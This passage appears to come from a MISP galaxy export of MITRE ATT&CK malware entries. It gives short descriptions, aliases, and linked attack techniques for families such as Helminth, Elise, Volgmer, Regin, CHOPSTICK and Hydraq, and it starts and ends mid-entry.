uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
Helminth - S0170
[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)
The tag is: misp-galaxy:mitre-malware="Helminth - S0170"
Helminth - S0170 is also known as:
-
Helminth
Helminth - S0170 has relationships with:
-
similar: misp-galaxy:malpedia="Helminth" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
Links |
hcdLoader - S0071
[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)
The tag is: misp-galaxy:mitre-malware="hcdLoader - S0071"
hcdLoader - S0071 is also known as:
-
hcdLoader
hcdLoader - S0071 has relationships with:
-
similar: misp-galaxy:rat="hcdLoader" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
Elise - S0081
[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)
The tag is: misp-galaxy:mitre-malware="Elise - S0081"
Elise - S0081 is also known as:
-
Elise
-
BKDR_ESILE
-
Page
Elise - S0081 has relationships with:
-
similar: misp-galaxy:tool="Elise Backdoor" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html |
https://www.accenture.com/t20180127T003755Z_w_/us-en/acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf] |
Sykipot - S0018
[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)
The tag is: misp-galaxy:mitre-malware="Sykipot - S0018"
Sykipot - S0018 is also known as:
-
Sykipot
Sykipot - S0018 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments |
Volgmer - S0180
[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)
The tag is: misp-galaxy:mitre-malware="Volgmer - S0180"
Volgmer - S0180 is also known as:
-
Volgmer
Volgmer - S0180 has relationships with:
-
similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF |
https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2 |
Epic - S0091
[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)
The tag is: misp-galaxy:mitre-malware="Epic - S0091"
Epic - S0091 is also known as:
-
Epic
-
Tavdig
-
Wipbot
-
WorldCupSec
-
TadjMakhal
Epic - S0091 has relationships with:
-
similar: misp-galaxy:tool="Wipbot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"
Links |
Regin - S0019
[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)
The tag is: misp-galaxy:mitre-malware="Regin - S0019"
Regin - S0019 is also known as:
-
Regin
Regin - S0019 has relationships with:
-
similar: misp-galaxy:tool="Regin" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf |
Chaos - S0220
[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)
The tag is: misp-galaxy:mitre-malware="Chaos - S0220"
Chaos - S0220 is also known as:
-
Chaos
Chaos - S0220 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
Links |
http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/ |
Uroburos - S0022
[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)
The tag is: misp-galaxy:mitre-malware="Uroburos - S0022"
Uroburos - S0022 is also known as:
-
Uroburos
Uroburos - S0022 has relationships with:
-
similar: misp-galaxy:tool="Turla" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Uroburos (Windows)" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
Links |
adbupd - S0202
[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)
The tag is: misp-galaxy:mitre-malware="adbupd - S0202"
adbupd - S0202 is also known as:
-
adbupd
adbupd - S0202 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Links |
CHOPSTICK - S0023
[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).
The tag is: misp-galaxy:mitre-malware="CHOPSTICK - S0023"
CHOPSTICK - S0023 is also known as:
-
CHOPSTICK
-
Backdoor.SofacyX
-
SPLM
-
Xagent
-
X-Agent
-
webhp
CHOPSTICK - S0023 has relationships with:
-
similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
DroidJack - S0320
[DroidJack](https://attack.mitre.org/software/S0320) is an Android remote access tool that has been observed posing as legitimate applications including the Super Mario Run and Pokemon GO games. (Citation: Zscaler-SuperMarioRun) (Citation: Proofpoint-Droidjack)
The tag is: misp-galaxy:mitre-malware="DroidJack - S0320"
DroidJack - S0320 is also known as:
-
DroidJack
DroidJack - S0320 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat |
Hydraq - S0203
[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)
The tag is: misp-galaxy:mitre-malware="Hydraq - S0203"
Hydraq - S0203 is also known as:
-
Hydraq
-
Aurora
-
9002 RAT
Hydraq - S0203 has relationships with:
-
similar: misp-galaxy:tool="Aurora" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/connect/blogs/trojanhydraq-incident |
https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html |
ZeroT - S0230
[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)
The tag is: misp-galaxy:mitre-malware="ZeroT - S0230"
ZeroT - S0230 is also known as:
-
ZeroT
ZeroT - S0230 has relationships with:
-
similar: misp-galaxy:tool="ZeroT" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Twitoor - S0302
[Twitoor](https://attack.mitre.org/software/S0302) is an Android malware family that likely spreads by SMS or via malicious URLs. (Citation: ESET-Twitoor)
The tag is: misp-galaxy:mitre-malware="Twitoor - S0302"
Twitoor - S0302 is also known as:
-
Twitoor
